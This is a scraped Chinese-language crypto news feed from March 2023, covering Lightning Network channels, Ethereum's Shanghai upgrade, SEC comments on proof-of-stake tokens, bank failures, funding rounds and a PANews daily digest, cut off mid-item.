    Chainfeeds 导读： 比特币研究贡献者阿剑认为纯理论上来说闪电网络没有对通道的实际构成的预设，因此它能兼容各式各样的通道，也包括别的链上的通道。 文章来源： https://twitter.com/AurtrianAjian/status/1635985933366628354 文章作者： 阿剑 观点： 阿剑：闪电网络之所以是个网络，在于其找到了一种可以串联起多条通道的办法（哈希时间锁 HTLC），既然如此，只要能处理这种形式的合约，就可以参加闪电网络。安全模型、运作及构成等都不会影响闪电网络的安全性。因为每一个参与者的安全模型，都仅由 TA 自己使用的 通道 / 合约 的形式决定，跟其他人的通道无关。 内容来源 阿剑：也就是说，不仅仅是标准的比特币支付通道（2-of-2 合约，以原像检查和时间锁为安全引擎）可以参与闪电网络，带有更复杂密码学建构的通道可以、非比特币的代币通道可以、建立在别的链上的通道也可以。 内容来源 阿剑：这样子的例子很多，比如「管家通道」，虽然是一种需要信任的建构，但它让双方像正经的闪电支付通道那样交互，来保证托管服务的可审计性。又比如说 在 statechain 资金上建构的支付通道。同理，在比特币区块链上，使用 RGB/Taro/Omni 方案发行的代币建立的代币支付通道，也能接入闪电网络。此外，一条建立在别的链上的 支付通道 / 合约，也可以接入闪电网络。 内容来源  ( 2 min )
    【英文长推】 Ouroboros Capital：简析 Ribbon Finance 期权交易平台 Aevo 发展潜力
    Chainfeeds 导读： 链上结构化产品 Ribbon Finance 的期权交易平台 Aevo 将在未来几周内推出。加密对冲基金 Ouroboros Capital 撰文概述了 Aevo 的功能、优势及费用预期。 文章来源： https://twitter.com/OuroborosCap8/status/1635863024119545856 文章作者： Ouroboros Capital 观点： Ouroboros Capital：目前大部分期权交易量都在 Deribit 上，但这也意味着你需要委托 Deribit 确保足够的系统保证金。但中心化交易所有时会因管理不善导致某些参与者可以获得无限保证金，从而导致系统漏洞。这正是 Aevo 想要解决的问题，允许期权合约在区块链上进行结算，无需任何委托。【原文为英文】 内容来源 Ouroboros Capital：目前大部分期权交易量都在 Deribit 上，但这也意味着你需要委托 Deribit 确保足够的系统保证金。但中心化交易所有时会因管理不善导致某些参与者可以获得无限保证金，从而导致系统漏洞。这正是 Aevo 想要解决的问题，允许期权合约在区块链上进行结算，无需任何委托。【原文为英文】 内容来源 Ouroboros Capital：区块链结算期权合约并不是一个新想法，但 Aevo 的特别之处在于 RBN 从其 DeFi 期权机枪池（DOV）中提供被动流量，任何人都可以构建一个区块链进行期权结算，但也存在一个挑战，那就是让流动性引入平台。Aevo 还能够使用 USDC 结算期权。【原文为英文】 内容来源 Ouroboros Capital：RBN 目前市值为 1 亿美元，截止目前共筹资 1650 万美元，自成立以来产生了 1000 万美元的收入。目前是放量也降低为 12.5 万 RBN / 周，没有通货膨胀问题。Aevo 启动后将会产生超强的费用增加能力，预期每年有 160 万美元费用产生。还不包括由于 CLOB 功能增加的交易活跃度、BTC 期权、潜在的 altcoin 期权产品等。【原文为英文】 内容来源  ( 2 min )
    以太坊上海升级将如何影响质押行业的未来
    Chainfeeds 导读： 备受期待的上海升级即将到来，这次升级使得押行业第一次有机会进行彻底调整。Obol Labs 协议专家 Juan Gadea 撰文介绍了以太坊升级时应该关注的关键指标和其相关性，以及上海升级前后可能如何改变等内容。中文版本由 ECN 编译发布。 文章来源： https://www.ethereum.cn/Eth2/The-Future-of-Staking 文章作者： Juan Gadea 观点： Juan Gadea：合并之后，信标链每月存款增长率已经降低为平均 4%，验证者节点热情有所减退。上海升级后，风险降低可能会带来参与率大幅上升，关注这个指标的主要原因是随着参与率下降，网络验证者奖励会增加，这种动态关系在整个网络里有连锁反应。 内容来源 Juan Gadea：目前流动性质押协议占有最大市场份额，紧随其后的是中心化交易所。目前人们正在推动质押去中心化，其中的一个重点是通过 DVT 来引领。且在 Dappnode 和 Avado 引领下，即插即用的质押硬件也越来越受到关注。流动质押同样在向更加去中心化的规范转变，Rocket Pool、Stakewise V3、Lido V2 都是流动性质押模型使用模块化方法的例子。 内容来源 Juan Gadea：流动性质押市场目前观察到的主要趋势是，大多数流动性质押代币一直以低于其基础价值的价格进行交易。且由于验证者不再有现金流的问题了，剩下的问题时流动性质押代币 (LST) 将以溢价还是折价交易。预计进入延迟可能长达数周，会迫使重量级玩家快速转向 LST，把价格推进溢价区。此外，传统金融理论表明，验证者应该持有多于 32 个 ETH，因为它附有奖励流。 内容来源 Juan Gadea：上海升级前后， ETH 通胀率可能会经历一次大幅下降，很大程度上是由于提款允许大约 290 亿美元的验证者余额能以无需许可的方式在链上转移。当该余额有效地影响市场时，将发生大量的链上交易，导致大量费用被烧毁。此外，由于生态资产的价格较低，验证者可能直接把他们的 ETH 换成其他蓝筹代币。这可能导致通胀率的急剧下降。 内容来源  ( 7 min )
    【英文】6 大以太坊虚拟机领域特定语言设计解读：Solidity、Vyper、Fe......
    Chainfeeds 导读： 与其他虚拟机和物理机在架构上不同，以太坊虚拟机（EVM）需要特定领域的语言（DSL）。加密研究员 jtriley.eth 对 EVM DSL 设计技术现状进行了分析解读，包括 Solidity、Vyper、Fe、Huff、Yul 和 ETK。 文章来源： https://jtriley.substack.com/p/ethereum-virtual-machine-language 文章作者： jtriley.eth 观点： jtriley.eth：1）Solidity：使用了面向对象的模式，其中智能合约被视为类对象，利用多重继承的优势。编译器是用 C++ 编写的，并计划在未来的版本中迁移到 Rust。Solidity 还具有库的功能，且指定了一个应用二进制接口（ABI）标准用于合约对接，也提供内联 Yul 模块允许对 EVM 指令集进行低级访问；【原文为英文】 内容来源 jtriley.eth：2）Vyper：类似 Python 的高级语言，第二大流行的 EVM DSL，不采用面向对象的模式及内联汇编。但 Vyper 编译器选择将局部变量存储在内存中而非堆栈，使得合约更简单有效。且其实现了更多内置函数。虽然没有广泛的开发者工具套件，但其有更紧密的集成工具可以插入至 Solidity 开发者工具中；【原文为英文】 内容来源 jtriley.eth：3）Fe：类似 Rust 语法的高级语言，目前还在积极开发中，使用 Yul 作为 IR 且依靠 Yul 优化器，不支持内联汇编。Fe 有望让开发者编写的代码更安全；4）Huff：汇编语言，具有手动堆栈控制和对 EVM 指令集的最小抽象，编译器最初由 Aztec 团队编写，随后用 Typescript 重写，最终选择使用 Rust 重写；【原文为英文】 内容来源 jtriley.eth：5）ETK：具有手动堆栈管理和最少的抽象，编译器使用 Rust 编写，其和 Huff 之间的区别是 Huff 为 initcode 增加了构造器代码。ETK 支持表达式宏和指令宏；6）Yul：Solidity 工具链的一部分，可以选择在 Solidity 编译管道中使用，不支持代码重用，编译器是用 C++ 编写的，并计划与 Solidity 其他部分一起迁移到 Rust。【原文为英文】 内容来源  ( 35 min )
    美 SEC 主席：权益证明代币应被视为证券，需要根据美国法律进行登记
    美 SEC 主席：权益证明代币应被视为证券，需要根据美国法律进行登记 美国交易委员会（SEC）主席 Gary Gensler 在被问及对上周美国商品期货交易委员会（CFTC ）主席 Rostin Behnam 声明的看法时表示，根据美国法律，权益证明代币应被视为证券。Gary Gensler 表示，代币持有者希望在质押中获得回报，这表明这些代币是证券，需要根据美国法律进行登记。 此前美国商品期货交易委员会（CFTC）主席 Rostin Behnam 曾发布声明表示，「ETH 期货在 CFTC 市场上市并非巧合，进行分析后我们得出的结论是 ETH 是一种商品。」 内容来源 观点： ChainFeeds：此前据华尔街日报报道，Gary Gensler 在以太坊完成合并之后表示，PoS 加密货币可能会受到联邦证券法规的约束。 内容来源  ( 216 min )
    NFT 市场 Formfunction 宣布将于 3 月 29 日关闭，一年前曾完成 470 万美元融资
    NFT 市场 Formfunction 宣布将于 3 月 29 日关闭，一年前曾完成 470 万美元融资 Solana 生态 NFT 市场 Formfunction 宣布将于 3 月 29 日关闭，用户仍然拥有 NFT 的完全所有权。Formfunction 专注于独立艺术家和创作者，曾于 2022 年 3 月完成由 Variant Fund 领投，OpenSea Ventures 等参投的 470 万美元融资。Formfunction 称：经过多方讨论和慎重考虑，我们得出的结论是不能继续运行 Formfunction。我们将继续维护 Formfunction 直到 3 月 29 日。该日期之后，用户将无法再访问我们的网站。 内容来源  ( 3 min )
    读懂加密内存池：解决 MEV 和审查问题的全新设计空间
    Chainfeeds 导读： 加密内存池是解决 MEV 和审查问题的强大工具，目前已有多种可以单独使用的相关方案，并且也可以组合使用。加密基金 DBA 联创 Jon Charbonneau 撰文概述了以太坊研究员 Justin Drake 围绕加密内存池演讲所构建的设计空间。中文版本由 Foresight News 编译发布。 文章来源： https://foresightnews.pro/article/detail/28256 文章作者： Jon Charbonneau 观点： Jon Charbonneau：保证解密不依赖于用户的方法：1）In-flight：向某个信任的第三方私下发送数据，该第三方可以对数据进行解密和查看，并承诺在数据提交到链上之前不会公开披露， 用例包括 Flashbots Protect 等；2）可信硬件：明文可以在受信任的硬件中运行，但在提交交易前不会公开解密，例如 Flashbots SUAVE 的 SGX；3）门限加密 / 解密（TED）：一个委员会联合起来强制解密密文，但需要签名者达到一个门槛； 内容来源 Jon Charbonneau：4）延迟加密 / 解密（DED）：将加密信息设置为在一定时间后自动解密，这是与 VDF 相关的顺序计算，可以结合使用 TED 使用；5）见证加密 / 解密（WED）：允许任意见证人强制解密密文，实际上是 TED 或 DED 的概括，甚至可以构建两者的混合体； 内容来源 Jon Charbonneau：屏蔽各种元数据的解决方案：1）使用像 Tor 这样的服务私下广播并屏蔽 IP 地址；2）使用 SNARK 来证明签名有效；3）再次使用 SNARK 证明加密交易的发送方有足够的 ETH 进行费用支付；4）通过 SNARK 证明其随机数是之前的随机数 + 1；5）在加密之前向明文添加 0，将位数扩展为 2 的下一次幂；6）通过允许验证者进行「虚拟」交易来试图隐藏交易存在的泄漏。 内容来源  ( 9 min )
    英国将从明年开始在税表中添加加密资产申报
    英国将从明年开始在税表中添加加密资产申报 据英国财政部发布的「2023 年春季预算案」文件显示，英国政府正在对自我评估报税表进行修改，要求对加密资产金额进行单独识别，纳税人在进行申报时必须将加密货币收入分割出来。这些变化计划从 2024 至 2025 纳税年度开始实施。据英国税务部门估计，今年预计有 1200 万人需要进行申报。此外，文件还显示，估计从 2025 至 2026 财政年度开始，该举措将会每年为英国带来 1000 万英镑（1200 万美元）的收入。 内容来源  ( 271 min )
    支付巨头 Stripe 以 500 亿美元估值完成超 65 亿美元 I 轮融资
    支付巨头 Stripe 以 500 亿美元估值完成超 65 亿美元 I 轮融资 支付巨头 Stripe 以 500 亿美元估值完成超 65 亿美元 I 轮融资，a16z、Baillie Gifford、Founders Fund、General Catalyst、MSD Partners、Thrive Capital、GIC、高盛和淡马锡参投。Stripe 表示，所筹资金将不会用于业务运营，而是用于为现员工和前员工提供流动性并解决与股权奖励相关的员工预扣税义务，从而让 Stripe 股票退市。 内容来源 观点： John Collison（Stripe 联创兼总裁 ）：过去 12 年里，Stripe 现员工和前员工帮助世界各地数百万企业建立了经济基础设施，但互联网经济还处于早期状态，有太多的东西需要发现和创造。对我们而言，现在正是重新开始的时机。【原文为英文】 内容来源  ( 6 min )
    NFT 投资组合管理和社交平台 Metalink 披露 600 万美元融资并推出移动应用程序
    NFT 投资组合管理和社交平台 Metalink 披露 600 万美元融资并推出移动应用程序 NFT 投资组合管理和社交平台 Metalink 推出移动应用程序并宣布了此前未披露的 600 万美元种子轮融资，投资者包括 Guy Oseary、Gary Vaynerchuk、MoonPay 首席执行官 Ivan Soto-Wright、The Sandbox 创始人 Sebastien Borget、前 Coinbase 首席技术官 Balaji Srinivasan、DJ Justin Blau、Social Capital、Arrington Capital 和 Sound Ventures 等。Metalink 应用程序旨在简化交易 NFT 和构建社区的过程，为以太坊网络上创建的 NFT 集合自动生成代币为门槛的聊天室，持有人可以通过连接钱包和验证资产进行访问。Metalink 还从多个市场提取实时 NFT 地板价及稀有性特征数据以帮助持有者衡量其 NFT 投资组合价值，并实时更总价格变动。此外，Metalink 还计划于今年晚些时候推出交易功能以便用户购买、出售和互换数字资产。 内容来源 观点： Adam Ceresko（Metalink 产品负责人）：我们的目标是让任何人都能够非常容易地与他们投资组合中任何藏品的持有者进行快速和安全的聊天。通过 Metalink，用户只需连接钱包并开始打字。只需要是代币持有者，无需 Discord、Telegram 或验证机器人。【原文为英文】 内容来源  ( 69 min )
    Starknet DAO 计划于 3 月 21 日开启首次治理投票以决定是否启动 Starknet Alpha V0.11.0 升级
    Starknet DAO 计划于 3 月 21 日开启首次治理投票以决定是否启动 Starknet Alpha V0.11.0 升级 Starknet 基金会计划将其部分投票权下放给治理论坛 Starknet DAO。 Starknet DAO 去中心化治理进程第一阶段将专注于协议升级，社区成员将能够对发布的每个协议升级进行投票，而每次投票成功后将会在 Starknet 主网上推出新的协议版本。首次升级投票时间为 3 月 21 日，将批准是否启动最新协议升级 Starknet Alpha V0.11.0。此次投票通过 Snapshot 进行，预计需要 6 天时间完成。此外，Starknet 计划的协议升级将在投票进行期间在 Goerli 测试网上启动，如果投票通过，随后将启动主网。 内容来源  ( 211 min )

  • Open

    Revelo Intel创始人如何看待L1/L2竞争、加密叙事、支付和监管？
    Revelo Intel创始人如何看待L1/L2竞争、加密叙事、支付和监管？ – 深潮TechFlow 撰写：Revelo Intel Read the full entry  ( 4 min )
    Revelo Intel创始人如何看待L1/L2竞争、加密叙事、支付和监管？
    Revelo Intel创始人如何看待L1/L2竞争、加密叙事、支付和监管？ – 深潮TechFlow 撰写：Revelo Intel Read the full entry  ( 4 min )
    探索加密货币与游戏的交叉点：如何摆脱“Web2.5游戏”的标签？
    探索加密货币与游戏的交叉点：如何摆脱“Web2.5游戏”的标签？ – 深潮TechFlow 撰写：Asa Li Read the full entry  ( 4 min )
    探索加密货币与游戏的交叉点：如何摆脱“Web2.5游戏”的标签？
    探索加密货币与游戏的交叉点：如何摆脱“Web2.5游戏”的标签？ – 深潮TechFlow 撰写：Asa Li Read the full entry  ( 4 min )

  • Open

    美国SEC主席：权益证明代币属于证券，需根据美国法律进行注册
    PANews 3月16日消息，据The Block报道，美国证券交易委员会（SEC）主席Gary Gensler周三向记者表示，根据美国法律，权益证明代币应被视为证券。Gensler表示，代币持有者从质押中获得的回报表明，这些代币是证券，需要根据美国法律进行注册。Gensler是在被问及对上周美国商品期货交易委员会（CFTC）主席Rostin Behnam的声明有何反应时发表上述言论的。Rostin Behnam当时表示，以太币是一种大宗商品。Gensler此前曾表示，权益证明协议可能受美国证券法管辖。此外，纽约总检察长Letitia James在针对加密公司KuCoin提起的诉讼中表示，以太币是一种未注册的证券，包括Vitalik Buterin在内的创始人违反了美国证券法。  ( 4 min )
    Ark Invest旗下新私人加密基金募资超过1600万美元
    PANews 3月16日消息，根据周三提交给美国证券交易委员会（SEC）的文件，Cathie Wood的Ark Invest旗下一只新加密基金募资超过1600万美元。该基金分美国和开曼群岛两个版本，其中美国基金从9位投资者手中筹集了7,281,630美元，而开曼群岛基金从一位投资者手中筹集了8,993,330美元。这两只基金均于3月1日开放投资，没有明确的募资目标，属于私人基金，只对少数投资者开放。  ( 4 min )
    前OCC代理署长：联邦监管机构正努力将加密货币排除在美国银行系统之外
    PANews 3月16日消息，据CoinDesk报道，前OCC代理署长Brian Brooks表示，联邦监管机构正共同努力，将加密货币排除在美国银行系统之外。他周三接受采访时表示，很明显，在这届政府中，银行监管机构已经做出了一个决定，即加密货币本质上是有风险的，需要从银行系统中分离出来。他补充称，在他执掌OCC时，“每周与FDIC主席和美联储副主席通一次电话。我们每周都会讨论一个小时，讨论未来一周的优先事项，如何相互支持以及我们的行动将如何影响(银行)系统。我认为(监管机构)正试图发出一个信号，最终将扼杀加密货币。”Brooks还声称，尽管情况不同，但他“100%相信监管机构正合力关闭这三家银行。这些事情根本不是意外。”但他坚信加密货币不会那么容易被打败，并表示“总有一些较小的银行愿意站出来，与加密货币公司合作。但如果有风险管理更完善的大银行为这个行业服务，情况会更好。”  ( 4 min )
    美国联邦住房贷款银行：并未要求或强迫Silvergate Bank提前还款
    PANews 3月16日消息，据CoinDesk报道，旧金山联邦住房贷款银行（FHLB）周三表示，并没有强迫Silvergate Bank偿还贷款，而此前有传言称这是Silvergate决定关闭的原因。去年年底，FHLB曾向Silvergate提供了43亿美元的贷款。FHLB一位发言人表示，没有要求或强迫Silvergate Bank提前支付贷款。Silvergate决定提前还款是基于他们对自己财务状况的评估。如果向FHLB贷款的银行经历了“重大不利变化”，FHLB可能会要求提前还款，但这并没有发生在Silvergate身上。Silvergate Capital (SI)在3月1日的一份文件中披露，为了筹集资金偿还FHLB的贷款，该公司不得不加速出售证券。到本月初，该公司已全额偿还了这些贷款。加密行业一些人士猜测，提前还款最终引发了Silvergate的银行挤兑。Silvergate的股价在这一消息公布一天后暴跌，Silvergate随后宣布将暂停运营并自愿清算。  ( 4 min )
    SBF寻求使用FTX保险来支付其法律辩护费用
    PANews 3月16日消息，据The Block报道，前FTX首席执行官SBF的律师在周三一份法庭文件中表示，SBF希望使用FTX的董事和高管责任保险来支付他的法律费用。如果法院批准他的请求，SBF可能会在FTX债权人之前获得赔偿。迄今为止，FTX的新管理层一直抵制这一行为。SBF目前正等待10月份的审判，如果所有指控都成立，他可能会在监狱中度过余生。专家表示，SBF的法律辩护费用可能高达数百万美元。  ( 4 min )
    Uniswap V3现已上线BNB Chain
    PANews 3月16日消息，Uniswap Labs 发推表示，Uniswap V3现已上线BNB Chain。 上月，Uniswap DAO“在BNBChain上部署Uniswap V3”提案投票以66%的支持率获得通过。  ( 4 min )
    彭博：TrueUSD稳定币发行方Archblock已将10亿美元的储备转移到巴哈马的一家银行
    PANews 3月15日消息，据彭博社报道，TrueUSD稳定币发行方Archblock已将支持该代币的10亿美元储备转移到巴哈马的一家银行。一家独立会计师事务所周三发布的实时证明显示，Archblock管理着支持其TrueUSD稳定币的超20亿美元储备，目前在拿骚Capital Union Bank持有超过14亿美元的资金。这比3月10日的4.38亿美元有所上升。  ( 4 min )
    NFT社交平台Metalink完成600万美元种子轮融资，并推出其移动应用程序
    PANews 3月15日消息，据CoinDesk报道，NFT 投资组合管理和社交平台 Metalink 宣布了之前未公开的 600 万美元种子轮融资，投资者包括 Guy Oseary、Gary Vaynerchuk、MoonPay首席执行官 Ivan Soto-Wright、The Sandbox 创始人 Sebastien Borget、前 Coinbase 首席技术官 Balaji Srinivasan、DJ Justin Blau、Social Capital、Arrington Capital 和 Sound Ventures等。 Metalink 还推出了其移动应用程序，创建了一个据称是代币门控的空间，NFT 收藏家可以在这里互动、汇总公告并跟踪他们的投资组合表现。该应用程序还计划在今年晚些时候推出交易功能，以便用户可以买卖和交换数字资产。  ( 4 min )
    英国财政部将在2024-25纳税年度的表格中修改加密资产的自我评估表
    PANews 3月15日消息，英国财政部年度预算文件显示，英国政府正在修改加密资产的自我评估表——政府正在对自我评估纳税申报表进行修改，要求单独确定与加密资产有关的金额。 这些变化将在 2024-25 纳税年度的表格中引入。据称，此举预计每年将为国家财政额外筹集 1000 万英镑（1200 万美元）。  ( 4 min )
    德国和美国当局扣押与ChipMixer调查相关的超过4600万美元的加密货币
    PANews 3月15日消息，据欧盟执法合作署(Europol) 称，德国和美国当局从著名的加密货币混合器 ChipMixer 没收了高达 4400 万欧元（4630 万美元）的资金。欧洲刑警组织周三表示，有关当局关闭了该平台的基础设施，没收​​了四台服务器、7TB 数据和 1909.4 比特币 (BTC)。比利时、波兰和瑞士也支持此次扣押。 据称，混币器 ChipMixer 允许其客户隐藏其犯罪行为的踪迹，例如毒品或武器贩运、勒索软件攻击和支付欺诈。  ( 4 min )
    PA日报｜OpenAI推出GPT-4；Filecoin虚拟机FVM已在主网上线
    今日要闻提示： 纽约金融服务部：接管Signature Bank与其加密业务无关 OpenAI推出GPT-4：可同时解析文本和图像，支持微软新款必应 Circle：正努力恢复USDC的流动性运作，包括寻找全天候的新银行合作伙伴 Cosmos Hub：V9 Lambda升级已完成，已启用Replicated Security功能 赵长鹏：币安将零费用BTC交易从BUSD转移到TUSD Filecoin虚拟机FVM已在主网上线，Filecoin现已支持智能合约 离岸人民币稳定币项目CNHC完成1000万美元A+轮融资，KuCoin Ventures领投 数据：自上周五以来USDC净赎回额超45亿美元 监管消息 纽约金融服务部：接管Signature Bank与其加密业务无关 据The Block报道，纽约金融服务部（NYDFS）发言人表示，周日做出接管Signature Bank的决定与该银行的加密货币业务无关。此前美国前众议员Barney Frank批评了监管机构的决定，声称他们“想要传递加密货币有害的信息”。NYDFS一位发言人在一份声明中表示，接管该银行并将其移交给FDIC的决定是基于该银行目前的状况以及它是否有能力以安全和健康的方式开展业务。该发言人表示，他们正在与Signature Bank的高管合作，评估其财务状况、满足取款请求的能力以及是否能够继续正常运营。该银行没有提供“可靠和一致的数据，造成了对该行领导层的严重信任危机”。NYDFS表示，Signature是一家拥有更重要业务的银行，数字资产业务仅占该银行整体业务的一小部分。 此前消息，Signature董事会成员：银行未资不抵债，被关停或因监管机构的反加密立场；今日晚些时候消息，Signature Bank在倒闭前面临刑事调查，包括其与加密公司的合作关系；Signature Bank上周五流失了178亿美元存款，占比20%左右；美国监管机构开始征求Signature Bank潜在买家的兴趣。 美国检察官在听证会上再次努力阻止将Voyager的关键部分出售给Binance.US 据彭博社报道，美国官员正试图阻止将破产的Voyager Digital Ltd.的关键部分出售给Binance.US，而政府则对法官批准该交易提出上诉。美国助理检察官Larry Fogleman周二在法庭上表示，政府反对任何限制其惩罚参与该提议的任意一方的能力，以及美国破产法官Michael E. Wiles上周批准的相关破产退出计划。Fogleman告诉法官，该交易的其他方面可能会继续推进，但不会包括作为Voyager 第11章计划一部分的法律保护。 Wiles同意周三举行听证会，决定是否阻止该计划的免责条款。这些条款在公司破产案件中很常见，可以保护人们免于因实施法院批准的计划而承担个人责任。根据其破产计划，Voyager可以选择将其出售给Binance.US或清算其资产并将资金分配给债权人。在经过四天的有争议的破产听证会后，法官将允许公司采取其中任何一种做法。 此前消息，法官批准Binance.US收购Voyager Digital资产，但交易仍需清除监管障碍；美国司法部对纽约法官批准Voyager出售给Binance.US的决定提起上诉。 美国财政部即将发布有关DeFi在犯罪活动中用途的风险评估报告 据CoinDesk报道，美国财政部高级官员Elizabeth Rosenberg表示，美国财政部即将发布一份风险评估报告，分析DeFi在犯罪活动中的用途。Rosenberg周一在澳大利亚悉尼举行的一次银行业活动上表示，不法分子一直在寻找有效的方法来隐藏犯罪活动和洗钱非法所得，这是对DeFi服务或虚拟资产生态系统其他元素的威胁。她的团队正在“积极进行”一项评估，结果很快就会公布。她还表示，由于虚拟资产的“惊人”增长，虚拟资产应用于犯罪活动的潜在危害已经在朝鲜勒索软件攻击等事件中得到了体现。 NFT 元宇宙 OpenAI推出ChatGPT-4：可同时解析文本和图像，支持微软新款必应 据华尔街见闻报道，美东时间3月14日周二，OpenAI宣布，推出大型的多模态模型GPT-4，称它可以接收图像和文本输入，输出文本，“比以往任何更具创造性和协作性”，并且“由于它有更广泛的常识和解决问题的能力，可以更准确地解决难题。”OpenAI表示，GPT-4能同时解析文本和图像，所以能解读更复杂的输入内容。 OpenAI表示，已经与多家公司合作，要将GPT-4结合到他们的产品中，包括Duolingo、Stripe 和Khan Academy。GPT-4模型也将以API的形式，提供给付费版ChatGPT Plus的订阅用户。开发者可以注册，用它打造应用。微软此后表示，新款的必应（Bing）搜索引擎将运行于GPT-4系统之上。 相关阅读：OpenAI推出GPT-4，一分钟速览新特性 项目动态 加密托管银行Anchorage Digital裁员20% 据彭博社报道，加密托管银行Anchorage Digital周二表示，将裁员75人，约占员工总数的20%。该公司表示，美国不确定的加密监管环境是其作出裁员决定的一个因素。此外，广泛的宏观经济挑战和加密市场波动也促使其裁员。Anchorage是美国第一家联邦特许的加密银行，其于2021年完成3.5亿美元融资，私募股权公司KKR & Co.领投，估值超过30亿美元。去年月，美国货币监理署(OCC)曾表示，Anchorage没有实施关键的洗钱控制措施，其合规计划人员不足，且缺乏验证客户身份的内部流程。 项目动态 高盛已申请一项将区块链技术与其结算机制整合在一起的新专利 据Cryptoslate报道，高盛(Goldman Sachs)最近向美国专利局(US patent office)申请了一项专利，提议将区块链技术与其结算机制整合在一起。该专利文件于3月14日提交，专利号为US 11,605,143 2B，概述了该银行使用区块链技术的技术和计算需求。该专利专注于智能合约的技术方面，可应用于各种金融工具，如部分准备金银行、保险、债券、证券化产品和保证金贷款。 高盛的这一举措是其区块链推广的一部分，数字资产团队全球负责人Mathew McDermott在最近接受采访时表达了对区块链应用程序的强烈支持。该银行的私人代币化平台GS DAP也被香港用于销售价值1.02亿美元的数字绿色债券，成功地将结算时间从5天缩短至1天。 与此同时，一些分析师声称，区块链领域正在酝酿一场专利“军备竞赛”，高盛(Goldman Sachs)决心通过招聘新员工和提供区块链产品来扩大其数字资产团队，以保持领先地位。 Circle：正努力恢复USDC的流动性运作，包括寻找全天候的新银行合作伙伴 USDC稳定币发行商Circle在博客文章中表示：“自从Signature Bank和Silvergate Bank倒闭以来，我们团队一直在夜以继日地工作以恢复USDC的流动性运营，包括引入新的交易银行合作伙伴。我们于当地时间3月13日星期一早上开始处理铸造和赎回请求，当时美国银行系统重新开放，目前正在处理积压的请求。我们在这里还有更多工作要做，包括添加具有24/7/365功能的新交易银行合作伙伴，当地时间3月13日，Circle赎回了29亿美元USDC，并铸造了70亿美元USDC。” 文章还表示：“作为加强USDC储备的持续举措的一部分，我们现在在纽约梅隆银行持有储备的现金部分，除了在交易银行合作伙伴处持有的有限资金，以支持USDC的铸造和赎回。大部分储备投资于由贝莱德管理、BNYM托管的Circle reserve Fund，主要由短期美国国债组成。” Optimism技术去中心化路线图发布，拟在今年年底前完成Baseline去中心化 据官方消息，OP Labs发布Optimism技术去中心化路线图，路线图包含Baseline去中心化以及Cannon错误证明（Cannon Fault Proofs）两部分。OP Labs表示：“Baseline去中心化是我们的首要任务，也是我们希望在今年年底前帮助实现的目标。展望未来，我们预计完成故障证明去中心化的‘前兆’将成为2024年的重点。” 其中Baseline去中心化将通过达成无许可输出提案和桥去中心化以实现Optimism网络和治理系统去中心化升级。同时，团队还将对Fault Proofs不断进行技术迭代，这包括三个步骤：1.实现一个执行L2状态转换的故障证明程序，这样输出就可以在L1上进行编程验证；这是故障证明激活的前兆。2.Cannon故障证明虚拟机，这将使在L1上执行故障证明程序成为可能；这是故障证明激活的另一个前兆。3.一旦两个前兆备齐，Dispute Game（整合）就可以跟进；此步骤将使Cannon能够删除L1上的故障输出；通过这一步，Optimism将是可证明错误的。 一旦在Baseline去中心化和Cannon方面取得进展，就可以考虑其他重要步骤，包括：1.向Optimism主网部署额外的证明系统；2.逐步淘汰证明者网络；3.删除升级密钥；4.去中心化排序器（Sequencer）。 Lido预计5月中旬进行主网升级至V2版本 Lido发推称，Lido V2将于下周上线Goerli测试网。在进行约4周的测试后，预计将于5月中旬上线以太坊主网。在所有关于链上代码的审计完成之前（预计4月底），stETH提款不会在主网上启动，目前预期是在5月中旬左右开始。 此前，Lido社区以100%的支持率通过了V2升级提案。Lido团队表示，V2智能合约总共经历7次审计，花费120万美元。其中2次已经完成，还有5次正在进行中。 截至上周五，审计中发现的所有关键问题都已得到修复。更新后的合约已经部署至以太坊Zhejiang测试网进行测试。 Stargate DAO关于停止重新发行STG代币的提案已获投票通过 Snapshot页面显示，Stargate DAO关于停止重新发行STG代币的提案以98.52%的支持率获得投票通过。根据该提案，Stargate应继续在协议中使用原始STG代币，而Alameda购买的代币应保留在归属合约中，它们目前应清算人的要求保留在该合约中。 此前3月13日消息，Stargate基金会建议DAO不要重新发行STG代币，否则FTX清算人或将寻求赔偿 。 赵长鹏：币安将零费用BTC交易从BUSD转移到TUSD 针对“币安将恢复部分BTC手续费和BUSD挂单手续费”的公告，赵长鹏在推特上表示：“鉴于最近发生的事件，我们将0费用BTC交易从BUSD转移到TUSD。” 此外，针对TUSD相关公告发布后TRU（TrueFi）短时暴涨一事，赵长鹏表示，TRU应与TUSD无关。Coingecko数据显示，TRU价格在公告发布后短时暴涨近30%，目前已大幅回落。 此前今日早些时候消息，币安宣布将于2023年3月22日8:00起，用户仅在BTC/TUSD现货交易对交易BTC时，可继续享受零挂单和吃单手续费。BUSD零挂单（Maker）手续费活动将不再包括BNB/BUSD、BTC/BUSD和ETH/BUSD现货和杠杆交易对。 Cosmos Hub：V9 Lambda升级已完成，已启用Replicated Security功能 Cosmos Hub在推特上宣布，V9 Lambda升级已成功完成，Replicated Security功能已在Cosmos Hub启用。 此前今日早些时候消息，Cosmos于今日16:01左右到达激活V9 Lambda升级的区块高度14470501。本次升级旨在激活Replicated Security功能，支持将Cosmos Hub的安全性复制到消费者链，并监控对规则的遵守情况，消费者链可以从Cosmos Hub的安全性中受益，而不必维护自己的验证者；而ATOM质押者将受益于消费者链产生的一定比例的代币或费用作为质押奖励。 以太坊Goerli测试网已完成Shapella升级 Beaconcha数据显示，以太坊Goerli测试网epoch 162304处的交易已确认，目前已达到epoch 162323。由于触发时网络参与度较低，升级在15个 epoch后才最终完成。 根据3月2日的报道，在此次Goerli测试网升级后，主网升级将在此后的3至4周进行。 Filecoin虚拟机FVM已在主网上线，Filecoin现已支持智能合约 Filecoin社区宣布，Filecoin虚拟机（FVM）已于北京时间3月14日23:14成功启动。Filecoin区块链现已可通过FVM支持智能合约和用户可编程性。通过FVM，开发者可部署智能合约，并规划数据存储、治理和在公开市场变现的方式。 FVM的发布是Filecoin主要计划的最后一环。协议实验室创始人Juan Benet表示，“FVM是区块链和Web3前进的主要一步，它使开发者能够创建新型应用并将智能合约的巨大潜力赋能给大规模数据”。 加密交易所Bitstamp已裁员30%，解雇约200名员工 据DLNews报道，加密货币交易所Bitstamp最近将员工人数减少了 30%，从去年9月份的约650人减少到2月份的450人。但Bitstamp首席执行官Jean-Baptiste 在接受采访时表示：“这不是一轮裁员，许多从事牌照、战略、合规和安全工作的顾问完成了他们的项目，所有这些人都在去年年底完成了他们的任务。” 融资消息 离岸人民币稳定币项目CNHC完成1000万美元A+轮融资，KuCoin Ventures领投 据The Block报道，与离岸人民币 1:1 挂钩的 CNHC 稳定币的发行人 